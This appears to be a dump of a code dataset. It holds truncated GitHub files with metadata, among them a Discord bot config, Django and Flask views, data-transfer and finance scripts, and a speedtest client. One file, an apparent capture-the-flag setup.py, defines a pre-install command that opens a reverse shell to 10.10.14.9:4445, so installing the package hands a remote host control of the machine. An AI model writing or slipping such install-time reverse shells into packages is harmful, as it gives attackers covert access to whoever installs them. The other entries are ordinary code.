Although Apple does not break down sales of AirPods, the company reported in January that its "other" product category, which includes AirPod sales, grew 33% to $7.3 from a year earlier, the fastest growing category.'... | AngeloCioffi/Info-Retrieval-Practical-NLP | neuralcoref/corref.py | corref.py | py | 484 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "spacy.load",
"line_number": 4,
"usage_type": "call"
},
{
"api_name": "spacy.displacy.serve",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "spacy.displacy",
"line_number": 20,
"usage_type": "name"
}
] |
7004941204 | from distutils.core import setup
from setuptools.command.install import install
import socket, subprocess,os
class PreInstallCommand(install):
def run(self):
shell()
install.run(self)
def shell():
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.9",4445))
os.dup2(s.fileno(),0)
os.dup2... | nutty-guineapig/htb-pub | sneakymailer/sneakymailer/mypackage/setup.py | setup.py | py | 773 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "setuptools.command.install.install",
"line_number": 5,
"usage_type": "name"
},
{
"api_name": "setuptools.command.install.install.run",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "setuptools.command.install.install",
"line_number": 8,
"usage_typ... |
2769538888 | import discord.ext.commands as disextc
import logging as lg
import yaml as yl
log = lg.getLogger(__name__)
class Config(disextc.Cog):
""" Configuration handler for the bot.
This is a yml file representation. Each configuration stored should be
under its own key:
discord:
exampledata1
... | guitaristtom/pythonbot-core | bot/cogs/config.py | config.py | py | 3,262 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "logging.getLogger",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "discord.ext.commands.Cog",
"line_number": 8,
"usage_type": "attribute"
},
{
"api_name": "discord.ext.commands",
"line_number": 8,
"usage_type": "name"
},
{
"api_name": "dis... |
69905055783 | from rest_framework.response import Response
from rest_framework.decorators import api_view
from rest_framework import status
from django.shortcuts import get_object_or_404
from .models import Genre, Movie, Comment
import requests
from .serializers import(
MovieListSerializer,
MovieSerializer,
CommentListSe... | jhs9497/MovieRecommendSite | backend/movies/views.py | views.py | py | 6,928 | python | ko | code | 0 | github-code | 36 | [
{
"api_name": "requests.get",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "models.Genre.objects.get_or_create",
"line_number": 25,
"usage_type": "call"
},
{
"api_name": "models.Genre.objects",
"line_number": 25,
"usage_type": "attribute"
},
{
"api_nam... |
34526548926 | import numpy as np
import openpyxl as op
import pandas as pd
import pymysql
from sqlalchemy import create_engine
import requests
import datetime as dt
import os
import xlrd
def read_table(path):
wb = op.load_workbook(path)
ws = wb.active
df = pd.DataFrame(ws.values)
df = pd.DataFrame(df.iloc[1:].values,... | yourant/ERPdata_Transfer | products_transfer.py | products_transfer.py | py | 21,610 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "openpyxl.load_workbook",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "pandas.DataFrame",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "pandas.DataFrame",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "sqlalchemy.c... |
1119194210 | # -*- coding: utf-8 -*-
"""
Created on Mon Jun 19 11:21:13 2023
@author: nmorales
"""
from requests.auth import HTTPBasicAuth
import requests
import json
import matplotlib
import pandas as pd
import numpy as np
url_cotizacion = 'https://cloud.biva.mx/stock-exchange/BIVA/quote?isin=MX01AM050019&period=Y&quantity=5'
... | NRMAnaya/PythonForFinance | RateOfReturn/Simple&LogarithmicReturnBIVACLOUD.py | Simple&LogarithmicReturnBIVACLOUD.py | py | 2,522 | python | es | code | 0 | github-code | 36 | [
{
"api_name": "requests.get",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "pandas.DataFrame",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "numpy.log",
"line_number": 54,
"usage_type": "call"
}
] |
31872554645 | import os
from services.connect import *
from flask import Blueprint, jsonify, request
from flask_cors import cross_origin
from dotenv import load_dotenv
import uuid
load_dotenv()
review_blueprint = Blueprint('reviews', __name__)
MONGODB_CONNECTION_STRING = os.getenv("MONGO_URI")
MONGODB_DATABASE = 'ch'
# POST crea... | dp3why/dessert-service | controllers/review_controller.py | review_controller.py | py | 819 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "dotenv.load_dotenv",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "flask.Blueprint",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "os.getenv",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "flask.request.get_json",
... |
17092139917 | import os
import speedtest_cli as speedtest
import datetime
import sqlite3
import time
from sqlite3 import Error
from xml.etree import ElementTree
from xml.etree.ElementTree import Element
from xml.etree.ElementTree import SubElement
try:
urltocheck = os.environ['UPCHECK_URLTOCHECK']
except os.error as e:
prin... | overallcoma/upcheck | upcheck-client/upcheck-client-scheduledtasks.py | upcheck-client-scheduledtasks.py | py | 4,428 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "os.environ",
"line_number": 12,
"usage_type": "attribute"
},
{
"api_name": "os.error",
"line_number": 13,
"usage_type": "attribute"
},
{
"api_name": "os.environ",
"line_number": 17,
"usage_type": "attribute"
},
{
"api_name": "os.error",
"line_nu... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.